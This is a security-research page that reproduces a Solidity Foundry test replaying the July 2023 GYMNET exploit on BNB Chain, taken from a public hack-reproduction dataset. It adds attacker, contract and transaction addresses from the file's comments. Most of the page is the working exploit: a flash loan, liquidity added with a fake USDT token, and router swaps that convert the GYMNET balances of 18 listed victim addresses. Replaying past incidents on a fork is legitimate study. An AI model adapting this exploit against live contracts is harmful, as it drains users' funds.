Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/GYMNET_exp.sol

Public reproduction file for dataset entry GYMNET.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/GYMNET_exp.sol147 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : Unclear
8// Attacker : https://bscscan.com/address/0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb
9// Attack Contract : https://bscscan.com/address/0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2
10// Vulnerable Contract : https://bscscan.com/address/0x6b869795937dd2b6f4e03d5a0ffd07a8ad8c095b
11// Attack Tx : https://bscscan.com/tx/0x7fe96c00880b329aa0fcb00f0ef3a0766c54e13965becf9cc5e0df6fbd0deca6
13// @Analysis
14// https://twitter.com/AnciliaInc/status/1686605510655811584
16interface IGymRouter {
17 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
18 uint256 amountIn,
19 uint256 amountOutMin,
20 address[] memory path,
21 address to
22 ) external;
25contract GYMTest is Test {
26 IERC20 GYMNET = IERC20(0x0012365F0a1E5F30a5046c680DCB21D07b15FcF7);
27 IERC20 fakeUSDT = IERC20(0x2A1ee1278a8b64fd621B46e3ee9c08071cA3A8a5);
28 // PancakeSwap V2: GYMNET-fakeUSDT
29 IERC20 CakeLP = IERC20(0x8e1b75e6c43aEAf5055De07Ab4b76E356d7BB2db);
30 Uni_Pair_V2 PancakePair = Uni_Pair_V2(0xf5D3cba24783586Db9e7F35188EC0747FfB55F9B);
31 Uni_Router_V2 PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
32 IGymRouter GymRouter = IGymRouter(0x6b869795937DD2B6F4E03d5A0Ffd07A8AD8c095B);
34 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
36 function setUp() public {
37 cheats.createSelectFork("bsc", 30_448_986);
38 cheats.label(address(GYMNET), "GYMNET");
39 cheats.label(address(fakeUSDT), "fakeUSDT");
40 cheats.label(address(CakeLP), "CakeLP");
41 cheats.label(address(PancakePair), "PancakePair");
42 cheats.label(address(PancakeRouter), "PancakeRouter");
43 cheats.label(address(GymRouter), "GymRouter");
44 }
46 function testExploit() public {
47 // Attacker deploys fakeUSDT contract,forcing victim's gym to exchange fakeUSDT to earn
48 // Start with below amount of fakeUSDT. Crucial for further adding liquidity to PancakeRouter
49 // Attack contract already had fakeUSDT balance in attack tx
50 deal(address(fakeUSDT), address(this), 9_990_000 * 1e18);
51 // emit log_named_decimal_uint(
52 // "Attacker fakeUSDT balance before exploit",
53 // fakeUSDT.balanceOf(address(this)),
54 // fakeUSDT.decimals()
55 // );
56 emit log_named_decimal_uint(
57 "Attacker GYMNET balance before exploit", GYMNET.balanceOf(address(this)), GYMNET.decimals()
58 );
59 console.log("1. Taking GYMNET flashloan");
60 PancakePair.swap(1_010_000 * 1e18, 0, address(this), new bytes(1));
61 }
63 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
64 GYMNET.approve(address(PancakeRouter), ~uint256(0));
65 fakeUSDT.approve(address(PancakeRouter), ~uint256(0));
66 CakeLP.approve(address(PancakeRouter), ~uint256(0));
68 console.log("2. Adding GYMNET-fakeUSDT liquidity");
69 PancakeRouter.addLiquidity(
70 address(GYMNET),
71 address(fakeUSDT),
72 GYMNET.balanceOf(address(this)),
73 fakeUSDT.balanceOf(address(this)),
74 0,
75 0,
76 address(this),
77 block.timestamp + 1000
78 );
80 emit log_named_decimal_uint(
81 "2a. Added attacker's liquidity", CakeLP.balanceOf(address(this)), CakeLP.decimals()
82 );
84 address[] memory victims = new address[](18);
85 victims[0] = 0x0C8bbd0629050b78C91F1AAfDCF04e90238B3568;
86 victims[1] = 0xbDFcA747646975F3bb9dA26BD55DAf2168c40Fe7;
87 victims[2] = 0x4AD478039bE7D1aD17C2eCBEb1029c29366c2789;
88 victims[3] = 0x081c96340738e397111E010137E04E97fB444E74;
89 victims[4] = 0xb611329241a51F84519BDc773E5E98F94e2D7491;
90 victims[5] = 0x3720d2BbFC8Bd5d6D62c8bf71fFD33Ea20cbEAE5;
91 victims[6] = 0x07E12a333B500a2f7048131400f0D216eb226F10;
92 victims[7] = 0xe01edc2B47576bf4aEF9fa311B1f16961c634F76;
93 victims[8] = 0x96346D0302E8640fbB165040B3d039bf10ce9565;
94 victims[9] = 0x88c08aafFDd547EBa783c84c23b549B5222fFB56;
95 victims[10] = 0x38B9a3Bd8693D59d38769A7CE8802632D1DB9D67;
96 victims[11] = 0x0E1556F63B7d30D6d7966Cb7b194eA7A8F3C588a;
97 victims[12] = 0x7E1d08f4960b3825eb3da2abbE3Cc849Ff53576c;
98 victims[13] = 0xA4265EfFEeeeC7dbc5b323610ccD738E8A1aE298;
99 victims[14] = 0xE62551B1385FD59C6A39224838Ba432B0F7735f2;
100 victims[15] = 0xE52234Ed813EBFC625477B4626AB84Ea09A82556;
101 victims[16] = 0x819B684fd18D0512EFC89c81aEAadFDdA61Fa7fC;
102 victims[17] = 0xd6c382B2624293cEf5A43E30e12cc0e6b3DEd153;
104 console.log("3. Exploiting vulnerability in gym router...");
105 for (uint256 i; i < victims.length; ++i) {
106 GYMNETTofakeUSDT(victims[i]);
107 }
109 emit log_named_decimal_uint(
110 "4. Removing GYMNET-fakeUSDT liquidity", CakeLP.balanceOf(address(this)), CakeLP.decimals()
111 );
112 PancakeRouter.removeLiquidity(
113 address(GYMNET),
114 address(fakeUSDT),
115 CakeLP.balanceOf(address(this)),
116 0,
117 0,
118 address(this),
119 block.timestamp + 1000
120 );
122 console.log("5. Repaying GYMNET flashloan");
123 GYMNET.transfer(address(PancakePair), 1_043_936 * 1e18);
125 // emit log_named_decimal_uint(
126 // "Attacker fakeUSDT balance after exploit",
127 // fakeUSDT.balanceOf(address(this)),
128 // fakeUSDT.decimals()
129 // );
130 emit log_named_decimal_uint(
131 "Attacker GYMNET balance after exploit", GYMNET.balanceOf(address(this)), GYMNET.decimals()
132 );
133 }
135 function GYMNETTofakeUSDT(
136 address victim
137 ) internal {
138 address[] memory path = new address[](2);
139 path[0] = address(GYMNET);
140 path[1] = address(fakeUSDT);
141 uint256[] memory amounts = PancakeRouter.getAmountsOut(GYMNET.balanceOf(victim), path);
142 uint256 amountOutMin = amounts[1] - (amounts[1] / 20);
143 GymRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
144 GYMNET.balanceOf(victim), amountOutMin, path, victim
145 );
146 }

Analysis

Dataset entry

Public Foundry test for “GYMNET” (2023-07-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb

  • Attack Contract

    0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2

  • Vulnerable Contract

    0x6b869795937dd2b6f4e03d5a0ffd07a8ad8c095b

  • Attack Tx

    0x7fe96c00880b329aa0fcb00f0ef3a0766c54e13965becf9cc5e0df6fbd0deca6

File record

Name
GYMNET
Path
src/test/2023-07/GYMNET_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
64bc690cac83caf38ac5e693eda947f9cb35139b
Language
Solidity
Size
148 lines
Date
2023-07-31
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/GYMNET_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 64bc690cac83caf38ac5e693eda947f9cb35139b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.